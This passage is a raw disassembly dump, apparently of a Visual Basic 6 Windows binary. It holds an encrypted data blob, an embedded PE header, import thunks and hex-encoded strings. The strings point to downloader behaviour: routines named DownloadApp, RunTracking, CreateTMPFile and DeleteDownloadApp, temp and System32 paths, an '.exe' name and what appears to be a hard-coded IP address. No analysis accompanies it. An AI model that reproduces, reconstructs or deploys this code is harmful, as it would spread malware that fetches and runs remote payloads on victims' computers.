		dd 0D700507Dh, 0AE0EB704h, 87082E03h, 2C94BE4Bh, 0AB7085B8h
		dd 1DC236E1h, 0B88C2418h, 0C373868Dh, 667D252Dh, 51363DB8h
		dd 395FB22Fh, 2ADE195Ch, 950B71F4h, 0EC2B9C1h, 9B9D3555h
		dd 92F56358h, 0F9948FC9h, 3FBA6749h, 4534BEDBh,	63403AE2h
		dd 7E56679Eh, 0B7AEAE32h, 71B8E26Ah, 9C19B891h,	2DC73C6Fh
		dd 3ECCDC02h, 0F48FC971h, 0F245F7EAh, 1DC48F8Dh, 0FDC6F9CDh
		dd 0C73A5C64h, 8E6BE68Ah, 0F9CB1DC4h, 19DC7026h, 27DA5B80h
		dd 0DD91F92Eh, 7C912384h, 9D712213h, 27F9AF9Ch,	59B9D2E3h
		dd 48C4DF34h, 6F9CF1DCh, 0D375C722h, 0B89F4AF9h, 0D25F596Eh
		dd 26F917D9h, 7166E245h, 5B8E24DCh, 7D0B674Ch, 0D91F92E2h
		dd 0E24570CAh, 2771225Ah, 0C70B5C72h, 34DB212Dh, 4BCEF47Dh
		dd 244F5C64h, 5C48BF6Eh, 0C7EDC717h, 8F894B71h,	296E27DEh
		dd 0AD85D2F3h, 7FB71101h, 0C72E6E24h, 6771C01Dh, 9F5D6E02h
		dd 7D6533B8h, 1DC48A9Fh, 0C05B8910h, 27FFDCEDh,	0AFF6C6E3h
		dd 90B71235h, 71C81DF3h, 0A9F3A46Fh, 946F713Eh,	0E48FEEF9h
		dd 0D712303Bh, 7F5AF9CDh, 0BE6C6E32h, 67712283h, 8E36BE72h
		dd 7D700B3Bh, 0C967FBF5h, 0F2470F7Ch, 0CEE245B5h, 0FD077CE6h
		dd 7CD8DC64h, 73B891EDh, 1CC1DF39h, 0C7F50E77h,	0E4B8D8A0h
		dd 24D0BA47h, 1DF22DCFh, 90BB891Ch, 64FFB5F3h, 0FCCC675Ch
		dd 5B89121Dh, 0E50EF9C5h, 363435B8h, 91ADC4FAh,	0E48B4DF5h
		dd 0D712343Bh, 0F90EF9C3h, 0F5B1B8C9h, 0ADC48E4Dh, 38537CE7h
		dd 0ADC022EEh, 917713EDh, 0C919D7CCh, 0B7122537h, 0FE4DF389h
		dd 0F9B1B8C9h, 55C48B0Eh, 38B3DF39h, 36E0036Eh,	20DB89F5h
		dd 48C2D1E7h, 0E24567BEh, 877CE52Eh, 3A5C64FDh,	9DF3D767h
		dd 0C7A40C09h, 0F71A865Dh, 78454DCBh, 734B529Ch, 0F25C4FBFh
		dd 9A7833A3h, 36D98347h, 0EC95B5A8h, 0F9E60C77h, 96431A0Bh
		dd 28A52167h, 6D456CD3h, 0B38799FAh, 84B99B15h,	69B16DA3h
		dd 9A4D3DCEh, 0DF47073Bh, 0BBDE190Fh, 0FC13BBE5h, 36FD3D6Fh
		dd 9F36973Ah, 1E7FB8CDh, 0E93EAB8Dh, 0F04CDF93h, 0D5F875C1h
		dd 11DC9E54h, 7506AD0Ah, 3EAAB08h, 96DB275Fh, 0FFC46E6Ch
		dd 0B00B1D44h, 0AE69E99Ah, 97E8CCC1h, 2AD0A69Bh, 0ADF88F51h
		dd 97ACD27Dh, 885D2475h, 997ED2C1h, 782A4E9Eh, 946774EAh
		dd 50EB6D8Bh, 1B0A465Dh, 53A1E06Fh, 71B62EFAh, 5CE1E344h
		dd 1E2353EEh, 5CFF00CBh, 0FDC75987h, 73BC8E7Eh,	86AE3A2Eh
		dd 63EA674Ah, 0CDB75AEBh, 89ED289Ah, 552E93F5h,	0DD2FEBAh
		dd 0BA592E92h, 96CEE914h, 0EA22986Eh, 9DC25744h, 683D6BC5h
		dd 0B6A31F82h, 272D688Ah, 23BA4FB7h, 0BB4AF5D2h, 856B6428h
		dd 253CAAECh, 0EE916DDh, 1D2DD74Bh, 4E726DCDh, 23A572E9h
		dd 0A51B2C1Bh, 4BB2145Dh, 0C85B7643h, 749B4B3Eh, 4DA1B48Ah
		dd 4926E174h, 0F4958E13h, 0B497AE0h, 0F03A49A6h, 5A03493Eh
		dd 26D7FD25h, 0EDA23F69h, 2553EE89h, 0DA5477CDh, 0B492AC59h
		dd 33ECD11Eh, 706D90D1h, 0DF051207h, 0AE6E0B35h, 8A267FA4h
		dd 2DD56D36h, 1D255987h, 0B17182D3h, 6958CFA1h,	53FAEB91h
		dd 0A976A243h, 0A5121BEEh, 1C721D71h, 0C5DFEC46h, 7FB7AFFDh
		dd 6FE6BFF7h, 93DFEAF5h, 8188BBD5h, 545BBBEh, 5ABDF8CFh
		dd 67E83589h, 4B788B61h, 0BA59E922h, 0E19E88D8h, 0FF7F06BBh
		dd 3B7DEFD3h, 0F57D74F7h, 3E6DFEB9h, 81615F7Fh,	47DAFBE1h
		dd 8633EDF7h, 0BEFE7B5Fh, 8A5D057Dh, 98AC9FB4h,	0EC747DAFh
		dd 0F2D13DBEh, 0FE7F7F9Bh, 0AB857DD8h, 35F5EB57h, 0D8708A3Fh
		dd 64188BF6h, 0FBF9FDFCh, 0FCE8BD5Eh, 5F8237E8h, 1DFA3F3Dh
		dd 8F7F0FB7h, 8B95BF46h, 95E3C2C6h, 8BB24DA8h, 0FBF9FF90h
		dd 0BF71DFA2h, 1BE7FA47h, 57FCFB1Ah, 0A6257FCEh, 5D7233F5h
		dd 8B9EE3FFh, 0A3D4D631h, 60030B9Ch, 7E4718B6h,	43541D7Dh
		dd 0E07AE17Bh, 1C3BA4BAh
		dd 8D86E771h, 9AB94BAEh, 7B728F5Dh, 8B7297B8h, 250FB58Fh
		dd 1C3AD56Ch, 24E51E76h, 0FFFB801Dh, 0C2AD3D94h, 0DD9D1BA6h
		dd 0C8574D99h, 906E0B9Bh, 6C1DFE76h, 0B655253h,	8B6C0D92h
		dd 208D7712h, 0E59AFC8Ch, 0F01605EDh, 5FE14B4Fh, 3513E0Ah
		dd 1BD256ECh, 0FB4AD7C1h, 0B62F172h, 1FD7BC09h,	0DB992CF8h
		dd 0B08AE7E1h, 7736868Fh, 1FD8398Bh, 322CBCC6h,	2B7108ACh
		dd 0B816FD39h, 6394339Ah, 8E45DE26h, 0B7DFEC35h, 53E16364h
		dd 482D21C6h, 381C428Fh, 6238B981h, 0F79A300Fh,	53DE4370h
		dd 2DE662D9h, 0A045FE5Ch, 0DFA72873h, 538A5DC1h, 0CC9C6C94h
		dd 96A7AA50h, 0C53F884Fh, 50877A73h, 0B4428717h, 0EBE30D20h
		dd 0D88EADC0h, 0AD457436h, 0DCAF7E07h, 0E09BB91Eh, 2F4FDBA7h
		dd 91FE1267h, 0E7289814h, 46669C64h, 0C47097EFh, 6D4130DCh
		dd 0DC5B9E7Eh, 3B84986Fh, 0B3600A1Ch, 0EF6E1C3Bh, 9DDA6F53h
		dd 0E0BBD344h, 5A247B94h, 8D329595h, 0AAC348E1h, 2B1A456Ch
		dd 0C63494Fh, 88D3D752h, 0FFE231BDh, 0E04BEF29h, 0FFBB2AA2h
		dd 4D901819h, 0D435C045h, 0BC434771h, 2C80BEFBh, 2022F82h
		dd 6C9A1A1Ah, 809B28CAh, 4B806E5Bh, 92E5156Eh, 0B92E26A6h
		dd 0E62596A4h, 4B96E19Ah, 699EE42Eh, 999BEA51h,	1915A996h
		dd 7BDCFFEAh, 0B3466567h, 0F7FFD3F7h, 0DFBF3F79h, 0EF733698h
		dd 9CE79EB3h, 679EF9EFh, 0C73EE6h, 8D663A6Dh, 79F76DB0h
		dd 0D7CEC6F8h, 0BB4D80E5h, 0F9351966h, 0D5D46447h, 0B6C32392h
		dd 0B32870DFh, 0C4FDFA09h, 0C99C7CE9h, 87573EC4h, 0AAE1B659h
		dd 0F620625Ch, 0E7DB2677h, 0CDB1DA6Dh, 2ED5D1E0h, 4C7587B7h
		dd 0DE32ABCFh, 0E24C74E9h, 0CE52DA13h, 3E6B58Dh, 8225B6B1h
		dd 765D7D10h, 0C12B6D39h, 72CE7E6Eh, 49DB5885h,	0ED0CD970h
		dd 9DB4EA7Ch, 0CC769B74h, 0DABA4599h, 0B6B116E5h, 678EAE93h
		dd 5E76939Fh, 2C9D7B81h, 913398EDh, 45CBB574h, 3E76E62h
		dd 6DFB3B53h, 57A799DAh, 1036237Eh, 0F825E1B4h,	93A40A37h
		dd 91480Ch, 3D4978E3h, 0DE1A373Dh, 0F44FAF2Bh, 67323F3Fh
		dd 0EF828E1Ch, 97FFCC53h, 0F45C292Dh, 0DE6E270Eh, 246A5372h
		dd 46278ABh, 0D6808CE9h, 0D903A08Ch, 870D162Ah,	81E7AA11h
		dd 64041943h, 283A0081h, 7F528FFFh, 0F37CA6B5h,	24B153A4h
		dd 0D152AC0Fh, 0B27609D9h, 11708671h, 0D50B9CEAh, 53D5D37Fh
		dd 0F3D40B80h, 0BFABC78Eh, 1DF73340h, 0A6575AA9h, 9B42A63Ah
		dd 10FF2E52h, 0B8D41A6Ah, 0EFDD4E3Fh, 0D7E9B6F0h, 9795491Eh
		dd 0FC08A586h, 523A00CBh, 9AE57F30h, 0DB605FB2h, 0B0DE72ABh
		dd 0D4FDE675h, 290789F5h, 4BD40A5h, 83CB5BE8h, 0AE6B0852h
		dd 0D9D2E9Ch, 386A5652h, 53CBB0A2h, 64019991h, 68C269EEh
		dd 5B4229C6h, 2FE4ABE5h, 0B18DD7F1h, 4A934FEBh,	0E95B6A96h
		dd 4B947EF0h, 0FA6413F1h, 5464B43Eh, 0FE1D2811h, 182DA916h
		dd 56CE7B55h, 2EE7293Fh, 66B43897h, 0FE1B6B50h,	0C287BAC6h
		dd 137C031Dh, 165E68A6h, 3507195Ch, 1E6EE182h, 76C49AFCh
		dd 5F4CFF04h, 19DF4C5Ah, 5E21A264h, 26426016h, 9D2BFFDCh
		dd 0A5FAFBFDh, 3B7985ECh, 0BB50D3F4h, 0A116E99Ch, 0A6CD54FAh
		dd 0ACA578CCh, 43685F52h, 4D15DE9h, 66CFF546h, 0BDB8D03Dh
		dd 0E2CF40Eh, 18F14E34h, 0A4AA30B9h, 3E666B06h,	0A3075877h
		dd 68E82450h, 0A84C4AE5h, 0F37AA357h, 2CED72DCh, 0FA4F3954h
		dd 7FDBBE9Ah, 0E896D64h, 282B7467h, 84EEC238h, 6EAFE76Eh
		dd 6BC598FFh, 0C3E786D2h, 9541B3E1h, 46DABA4Bh,	0C5565533h
		dd 26B1A96Ah, 0DAA8340Ch, 0BAEAA596h, 74F0D582h, 8367DDBCh
		dd 47569DE9h, 536F07B1h, 3278CA7Fh, 0ED29A955h,	0AAB83578h
		dd 0E7A78494h, 58C636D5h, 63B22AFAh, 181CCD14h,	6109A646h
		dd 2AB9D573h, 65ABF86Dh, 0B4645E14h, 0A636B319h, 62C7B542h
		dd 0AF59999Bh, 0F5CC6568h, 0D9E09694h, 324B557Bh, 0D7DE8C9Dh
		dd 96A53DE9h, 3431EA87h, 0E21869F9h, 0CC09976Bh, 558AD4CAh
		dd 3E1BDC4Eh, 87FDA895h, 959408C3h, 8872009Ah, 0D817DF52h
		dd 2AB696ACh, 3BFBCE9Ah, 4933BD19h, 1124758h, 8EAE9DD6h
		dd 6CA8435Ch, 4FF98E75h, 0B1BE5B3Dh, 541BAFC5h,	2D0E197Ch
		dd 95F6818Ch, 0A5759811h, 3B19C2D0h, 5EDB4A98h,	9FF8A833h
		dd 0A8D3EA67h, 9B44F032h, 0A7CF0DBBh, 0A832F677h, 9E812D73h
		dd 0F6B9D48Bh, 44B8ED52h, 12E42495h, 999CACB6h,	31255913h
		dd 610764C6h, 0D182D0CFh, 4D0A6AC1h, 0B2A0CACCh, 4444033Fh
		dd 0EA31B94Ah, 8C54B31Ch, 11E67FCDh, 0EDBB3928h, 38F5A0C7h
		dd 0CF23ED5Ch, 0B51C4B06h, 8AA500D0h, 0B59EF6D4h, 0AFA1D637h
		dd 0A0162774h, 0AA72CBD5h, 4FBF7FF9h, 734FA1CAh, 77D55CBDh
		dd 72F554F5h, 0CEC08AACh, 6769ADA4h, 60CA5A96h,	86D68B92h
		dd 0ED32E9E6h, 0A1D42B10h, 6F6A71B7h, 0AB4F9F5Ah, 1D5CB069h
		dd 66985AA3h, 36AAB903h, 3BABA866h, 5FEBFC01h, 57168BEBh
		dd 8643EAD8h, 0FA93C6DAh, 0CDA19F25h, 5EDC5C86h, 0F2D48AF3h
		dd 86E6A45h, 0ECD255C7h, 9FC5AC74h, 0FFE79929h,	4B5B47BAh
		dd 56517A55h, 89AAAC61h, 0AB0CF45h, 59AE6CDDh, 2FD351D1h
		dd 82C58F38h, 0ADEBB630h, 0DDA64860h, 3E33FF1Ah, 0D43FD3ACh
		dd 78B574Eh, 1BB1B6CAh,	0ADA38F5Bh, 559B3C9h, 0D268313Ch
		dd 0BD7502CAh, 0B5A2DAACh, 258EA992h, 0B61564D3h, 38FBDA6Dh
		dd 6D9ABA67h, 0B0D96DF1h, 296AD982h, 2F95F70Dh,	0F000603h
		dd 2F2D57CCh, 8ECEB2DFh, 0BF9D2719h, 5EA21CBCh,	0A9F98FCDh
		dd 0BD587B1h, 270BB638h, 138480C1h, 51F607C1h, 46B35D71h
		dd 0AE060F38h, 547DD72Ah, 0A3E6D41Dh, 3D7CD4CCh, 0B347A1C8h
		dd 0B098C684h, 351751CAh, 0E364EC0Bh, 0E6BECCA3h, 55D37549h
		dd 0E498E509h, 6FA55468h, 0E8ED8D6h, 93FF3059h,	0FC6DDC56h
		dd 0AA613C36h, 937CB67Ah, 6DE3691Eh, 0AB4AB26Dh, 0F8D41B1Dh
		dd 1A34F350h, 806ACF6Fh, 7CEC3D03h, 37A5ADA6h, 0D338E31Ch
		dd 95AA0CB8h, 59871999h, 0A5FACC4Fh, 0A71742D9h, 5FD6C25Eh
		dd 0C8B5A52Bh, 9B1D48A2h, 755CFB36h, 15EF6C75h,	912D77C3h
		dd 0EDD214AAh, 66558DD8h, 0CB2BB0CEh, 0E49E0354h, 2D92E135h
		dd 0F3ABE542h, 3DF4B0CFh, 0D7334DCh, 284CB26Dh,	39CEA056h
		dd 692DDA1Dh, 0C5A39BD0h, 1E47E436h, 437D9176h,	0DA6093E6h
		dd 0CE7AD4FDh, 91795933h, 6C69471Dh, 4252AB99h,	93CD4AD1h
		dd 3999AA67h, 5E705FECh, 0CDB2A91h, 0C6D38793h,	90D16054h
		dd 0FF447BA7h, 0E9ADA8BFh, 2BC59F96h, 0A7921669h, 639996AEh
		dd 0EAEF5228h, 0D5F2CEC4h, 0F31506CFh, 0C7AC2D0Ah, 5A1A5FECh
		dd 9E1D9E5Dh, 0BD951B39h, 0B55F303Fh, 0D31CC9C7h, 137B580Eh
		dd 8A3A7C8Bh, 0AC53E79Ah, 0DD5337CEh, 23AA33F3h, 11C4F36Ch
		dd 4374AED8h, 4E5F808Dh, 0CA91FBAAh, 7498C66Ch,	0D431EC4h
		dd 160DECAAh, 0CFCB6A6Eh, 2C0C5432h, 0BD982130h, 0CD2D9B66h
		dd 9D2DDBACh, 1C8AF8Eh,	0FDE5CC01h, 9E69F84Dh, 7499E43h
		dd 6AEA2A0Ch, 0EBC2A951h, 0E6EBD423h, 2ACA5395h, 0F534CCA3h
		dd 63A4E9A1h, 0DA6254ACh, 0ABD8D58Bh, 0A6F1DFA6h, 0B92DD236h
		dd 0FBA68CA1h, 9D04F45h, 71B591FBh, 4CE539C8h
dword_418C58	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_402EBD+28o
		dd 40h,	8 dup(0)
		dd 0B8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DBF98A8Fh, 3 dup(8897EBCBh), 8899F748h, 8897EBCAh
		dd 889EF4A2h, 8897EBCAh, 889AF422h, 8897EBCAh, 68636952h
		dd 8897EBCBh, 2	dup(0)
		dd 4550h, 3014Ch, 469462FDh, 2 dup(0)
		dd 10F00E0h, 6010Bh, 5000h, 2000h, 0
		dd 13A0h, 1000h, 6000h,	400000h, 2 dup(1000h), 4, 1, 4
		dd 0
		dd 8000h, 1000h, 0A098h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 4CE4h, 28h, 7000h, 8ACh, 10h	dup(0)
		dd 228h, 20h, 1000h, 124h, 6 dup(0)
a_text_0	db '.text',0
		align 10h
aLb_0		db 'LB',0
		align 4
		dd 1000h, 5000h, 1000h,	3 dup(0)
		dd 60000020h, 7461642Eh, 61h, 0A0Ch, 6000h, 1000h, 6000h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 8ACh, 7000h, 1000h, 7000h
		dd 3 dup(0)
		dd 40000040h, 45D70B04h, 10h, 2	dup(0)
aMsvbvm60_dll_1	db 'MSVBVM60.DLL',0
		align 10h
		dd 36Eh	dup(0)
		dd 73668806h, 7365FE79h, 73676B2Eh, 7366EA4Ch, 7363C164h
		dd 73650DDBh, 73655F5Fh, 736772A2h, 7365F73Ah, 7365FDC1h
		dd 73655F3Ah, 73649CECh, 7365F6EEh, 7364B6BFh, 73649A69h
		dd 73653E62h, 7365F786h, 7365F886h, 7364B8FCh, 7366896Eh
		dd 736564F3h, 7366576Ah, 73643CF7h, 73639A94h, 73658A03h
		dd 73679836h, 73654C30h, 73650EBAh, 73649C21h, 7365FE76h
		dd 73678B65h, 73639AA7h, 7363CD88h, 73668A13h, 736399A5h
		dd 73653CA4h, 7366725Bh, 7365FB09h, 7365F83Ah, 736493C0h
		dd 73677553h, 73650DFAh, 73655E41h, 736542E6h, 73644F71h
		dd 736688ABh, 7363E3EEh, 7364388Ah, 73673C1Dh, 73643DEFh
		dd 7365F7BAh, 7365F8BAh, 7365610Eh, 7364CFA4h, 736560C5h
		dd 7365F7EEh, 7365F229h, 7364E42Fh, 7357357Ch, 73649B3Fh
		dd 73678CF8h, 73676E36h, 73676BF8h, 73678DCCh, 73649AC1h
		dd 73668740h, 736560F4h, 7365E36Dh, 73668AC4h, 7365D191h
		dd 736560B0h, 73649A27h, 2 dup(0)
		dd 80007h, 403C09h, 403C5Fh, 403C11h, 80007h, 403F3Ah
		dd 403F81h, 403F41h, 80007h, 4041D0h, 404206h, 4041D7h
		dd 140027h, 40449Ah, 4044C2h, 4044A1h, 0
		dd offset loc_40116E+2
		dd 8, 40429Ah, 4042A1h,	4042E6h, 4042F5h, 404317h, 404409h
		dd 404421h, 40449Ah, 0
		dd 80003h, 404589h, 40458Eh, 0
		dd 8000Fh, 40470Ch, 404736h, 404713h, 80001h, 4047AAh
		dd 80007h, 4048ECh, 404907h, 4048F3h, 80007h, 404B6Eh
		dd 404B89h, 404B75h, 80007h, 404C96h, 404CA7h, 404C9Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_419E48	proc near		; CODE XREF: .data:0041CEC6p
		jmp	dword ptr ds:loc_401054
sub_419E48	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset loc_40108C
		dd 10A025FFh, 25FF0040h, 401040h, 103025FFh, 25FF0040h
		dd 4010C8h, 102025FFh, 25FF0040h, 4010E0h, 104425FFh, 25FF0040h
		dd 4010DCh, 10CC25FFh, 25FF0040h, 401098h, 107425FFh, 25FF0040h
		dd 401094h, 102425FFh, 25FF0040h, 401004h, 110425FFh, 25FF0040h
		dd 401000h, 111425FFh, 25FF0040h, 4010B4h, 104C25FFh, 25FF0040h
		dd 401084h, 111025FFh, 25FF0040h, 40110Ch, 110025FFh, 25FF0040h
		dd 401070h, 10F025FFh, 25FF0040h, 4010FCh, 109C25FFh, 25FF0040h
		dd 4010ECh, 10B825FFh, 25FF0040h, 401050h, 101825FFh, 25FF0040h
		dd 40106Ch, 106025FFh, 25FF0040h, 4010B0h, 10D425FFh, 25FF0040h
		dd 4010E4h, 10AC25FFh, 25FF0040h, 40103Ch, 10C425FFh, 25FF0040h
		dd 401034h, 105825FFh, 25FF0040h, 401068h, 10BC25FFh, 25FF0040h
		dd 4010C0h, 101025FFh, 25FF0040h, 4010D8h, 10A825FFh, 25FF0040h
		dd 401080h, 10A425FFh, 25FF0040h, 4010F8h, 104825FFh, 25FF0040h
		dd 401064h, 100C25FFh, 25FF0040h, 4010F4h, 109025FFh, 25FF0040h
		dd 401008h, 101C25FFh, 25FF0040h, 40111Ch, 103825FFh, 25FF0040h
		dd 401078h, 101425FFh, 25FF0040h, 401118h, 102C25FFh, 25FF0040h
		dd 401028h, 110825FFh, 25FF0040h, 4010D0h, 108825FFh, 25FF0040h
		dd 40105Ch, 107C25FFh, 25FF0040h, 4010E8h, 40155468h, 0FFF0E800h
		dd 0FFFFh, 0
		dd 30h,	40h, 0
		dd 4769BDDFh, 43255A2Bh, 0D9682F96h, 18128D02h,	0
		dd 10000h, 72650000h, 68772065h, 46363062h, 31655564h
		dd 333830h, 65656C69h, 0
		dd 31CCFFh, 0C9D5C101h,	0DC48A635h, 51F68340h, 0BE17544Bh
		dd 2D5DAB80h, 2AC9EBBEh, 0E7C8BC4Dh, 1CEF5BDEh,	0AD4F3AB8h
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 0BA00h, 4000h, 50000h, 6D726F46h, 10D0031h, 6F460005h
		dd 316D72h, 42000119h, 0FFFF2300h, 524FFFFh, 726F4600h
		dd 2E00316Dh, 3C3500h, 1590000h, 12480000h, 0C7B0000h
		dd 3460000h, 7301FFh, 5010000h,	656E4900h, 0FF003174h
		dd 6E490014h, 74437465h, 624F736Ch, 7463656Ah, 6E492E73h
		dd 2D007465h, 9424Ch, 3Ah, 12344321h, 8, 2 dup(3EDh), 48E59291h
		dd 60000h, 10000h, 0
		dd 50h,	4 dup(0)
		dd 3C0000h, 68390000h, 3A000001h, 8E8h,	402FFh,	50h, 35C9D5C1h
		dd 40DC48A6h, 4B51F683h, 80BE1754h, 5 dup(0)
		dd 90h,	5 dup(0)
		dd 113h, 0
		dd offset loc_4013EC+4
		dd 4Ch,	21354256h, 2A1FF0h, 3 dup(0)
		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 2 dup(0)
		dd offset loc_40173F+1
		dd 30F000h, 0FFFFFF00h,	8, 1, 10001h, 0E9h, 401504h, 4015F0h
		dd 4013ACh, 78h, 84h, 8Eh, 8Fh,	4 dup(0)
aB06fdue1083_1	db 'b06FdUe1083',0
aT20070711_1	db 'T20070711',0
		dw 6200h
a06fdue1083_0	db '06FdUe1083',0
		align 4
		dd 150h, 38h, 2	dup(0)
		dd 0D0h, 0D8h, 0
		dd 0E0h, 48h, 0
		dd 128h, 133h, 148h, 0
		dd 48E59293h, 11CF9880h, 0AA005497h, 809C000h, 48E59292h
		dd 11CF9880h, 0AA005497h, 809C000h, 48E59291h, 11CF9880h
		dd 0AA005497h, 809C000h, 5F8B7FCCh, 48DF3393h, 0F993C39Eh
		dd 91EDDC69h, 68FDD55Ah, 4A5E1ADDh, 5AD198BBh, 5A414401h
		dd 1FFh, 0E6F8h, 0F9844600h, 7CFh, 1335BCE6h, 41562787h
		dd 6EB237AAh, 7BEE71C5h, 2786A618h, 40B85EA6h, 4CD49F9Ah
		dd 0D681FEE1h, 0
aW_0		db '`',0Bh,'W ',0
		align 4
		dd 10000h, 2 dup(0)
		dd 2 dup(0D100h), 20h, 0DCh, 380037h, 310045h, 440042h
		dd 310044h, 39002Dh, 340039h, 2D0031h, 310031h,	660063h
		dd 39002Dh, 350037h, 2D0036h, 300030h, 410041h,	300030h
		dd 300043h, 390030h, 380030h, 4E49534Dh, 4F2E5445h, 49005843h
		dd 4374656Eh, 4F736C74h, 63656A62h, 492E7374h, 74656Eh
		dd 74656E49h, 14D00h, 1F4h, 401BCCh, 0
		dd offset loc_402EEF+1
		dd offset loc_404CDF+1
		dd 0A04h, 406008h, 4011F6h, 406000h, 5C002Ah, 430041h
		dd 5C003Ah, 720050h, 67006Fh, 610072h, 20006Dh,	690046h
		dd 65006Ch, 5C0073h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 690056h, 750073h, 6C0061h, 530020h,	750074h
		dd 690064h, 5C006Fh, 420056h, 380039h, 62005Ch,	310030h
		dd 640046h, 650055h, 300031h, 340036h, 76002Eh,	700062h
		dd 64h dup(0)
		dd offset loc_401502+2
		dd 0
		dd 1, 401BCCh, 0
		dd offset loc_402DBF+1
		dd 0FFFFFFFFh, 0
		dd offset loc_401C20
		dd offset loc_406006+2
		align 8
		dd 1778D8h, 3 dup(0)
		dd offset loc_4019F4
		dd 1, 401CA8h, 0
		dd offset loc_4019F4
		dd 1, 4019FCh, 0
		dd offset loc_4019F4+4
		dd 2, 4019FCh, 1B7000Ah, 6C0068h, 401A4Ch, 4062E0h, 0
		dd 2272C0h, 401CB8h, 401CC8h, 0A0040h, 34h, 401CD8h, 30001h
		dd 2 dup(0)
		dd offset loc_401A6F+5
		dd 22A9B8h, 401CE8h, 30001h, 1F0040h, 38h, 401D58h, 0FFFFFFFFh
		dd 2 dup(0)
		dd offset loc_401AB4
		dd 22A9C8h, 401D68h, 0FFFFFFFFh, 401B5Dh, 401B6Ah, 401B77h
		dd 401B84h, 401B91h, 401B9Eh, 401BABh, 401BB8h,	401BC5h
		dd 401B50h, 0
		dd offset loc_4019FC
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 0Bh dup(0)
		dd offset loc_401A24
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 6 dup(0)
		dd offset loc_401B48	; jumptable 00401ADD case 12
		dd 18h dup(0)
		dd 4246C81h, 37h, 13ABE9h, 246C8100h, 0FFFF04h,	217EE900h
		dd 6C810000h, 0FFFF0424h, 61E90000h, 81000024h,	0FF04246Ch
		dd 0E90000FFh, 26D4h, 4246C81h,	0FFFFh,	2977E9h, 246C8100h
		dd 0FFFF04h, 2A3AE900h,	6C810000h, 0FFFF0424h, 0CDE90000h
		dd 8100002Bh, 0FF04246Ch, 0E90000FFh, 2C30h, 4246C81h
		dd 0FFFFh, 2D83E9h, 246C8100h, 0FFFF04h, 3006E900h, 2 dup(0)
		dd offset loc_40602B+1
		dd offset loc_402DFE+2
		dd 0FFFFFFFFh, 0
		dd offset loc_40601B+1
		dd 0CA2FBD5Ah, 4581B5FFh, 866784B6h, 7E4E9C21h,	1000Ah
		dd 10001h, 401C20h, 3 dup(0)
		dd offset loc_401C8B+1
		dd 2 dup(409h),	0
		dd 2, 40197Ch, 0FFFFFFFFh, 401E68h, 3 dup(0)
		dd offset loc_401C76+2
		dd 0Ah,	401C50h, 0FFFFh, 18083h, 2 dup(0)
		dd offset loc_401DE3+1
		dd offset loc_401DEE+2
		dd offset loc_401DF8+4
		dd offset loc_401E08	; jumptable 0040148C case 39
		dd offset loc_401E12+2
		dd offset loc_401E1E+2
		dd offset loc_401E34	; jumptable 0040148C case 40
		dd offset loc_401E43+1
		dd offset loc_401E53+1
aForm1_0	db 'Form1',0
		align 4
aB05fdue1081_0	db 'b05FdUe1081',0
aB06fdue1083_2	db 'b06FdUe1083',0
		dd 0BE2D5DABh, 4D2AC9EBh, 0DEE7C8BCh, 0B81CEF5Bh, 0BCC46586h
		dd 43CA892Ah, 3D7201A2h, 0BA988B46h, 35C9D5C1h,	40DC48A6h
		dd 4B51F683h, 80BE1754h, 45913B62h, 46C53D3Fh, 0C712D084h
		dd 0F7A7E0DCh, 1335BCE6h, 41562787h, 6EB237AAh,	7BEE71C5h
		dd 74656E49h, 31h, 4AD3113Eh, 4E8EE8BFh, 0B73074AFh, 0B030B717h
		dd 575C3A43h, 4F444E49h, 735C5357h, 65747379h, 5C32336Dh
		dd 4E49534Dh, 6F2E5445h, 6163h,	74656E49h, 736C7443h, 656A624Fh
		dd 737463h, 401CF0h, 0
		dd 1, 0
		dd offset loc_401D00
		dd offset loc_401D20
		dd offset loc_4062CE+2
		dd 2 dup(0)
		dd 1B6A48h, 33AD4F3Ah, 11CF6699h, 0AA000CB7h, 93D36000h
		dd 6D726F46h, 0
		dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h
		dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h
		dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch
		dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401D70h, 0
		dd 6, 9, 401D80h, 401DB8h, 4062D4h, 2 dup(0)
		dd 1B6A48h, 6E776F44h, 64616F6Ch, 707041h, 546E7552h, 6B636172h
		dd 676E69h, 656C6946h, 73697845h, 74h, 45726944h, 74736978h
		dd 73h,	72747845h, 50746361h, 687461h, 63657053h, 63696669h
		dd 656C6946h, 73697845h, 7374h,	61657243h, 4D546574h, 6C6F4650h
		dd 726564h, 61657243h, 4D546574h, 6C694650h, 65h, 656C6544h
		dd 6F446574h, 6F6C6E77h, 70416461h, 70h, 44000Ch, 2 dup(0)
		dd 8, 300031h, 330038h,	0
		dd 0Eh,	300062h, 460036h, 550064h, 65h,	4, 590062h, 0
		dd 14h,	610050h, 740072h, 70006Dh, 6C002Eh, 67006Fh, 0
		dd 18h,	3A0043h, 54005Ch, 6D0065h, 5C0070h, 720062h, 5C0072h
		dd 0
		dd 0Eh,	6C002Fh, 4C0050h, 580065h, 2Fh,	8, 650054h, 70006Dh
		dd 0
		dd 6, 720062h, 72h, 1Ah, 340036h, 32002Eh, 350032h, 31002Eh
		dd 380035h, 37002Eh, 33h, 8, 65002Eh, 650078h, 0
		dd 0Ah,	54005Ch, 6D0061h, 4Fh, 34h, 3A0043h, 57005Ch, 4E0049h
		dd 54004Eh, 53005Ch, 730079h, 650074h, 33006Dh,	5C0032h
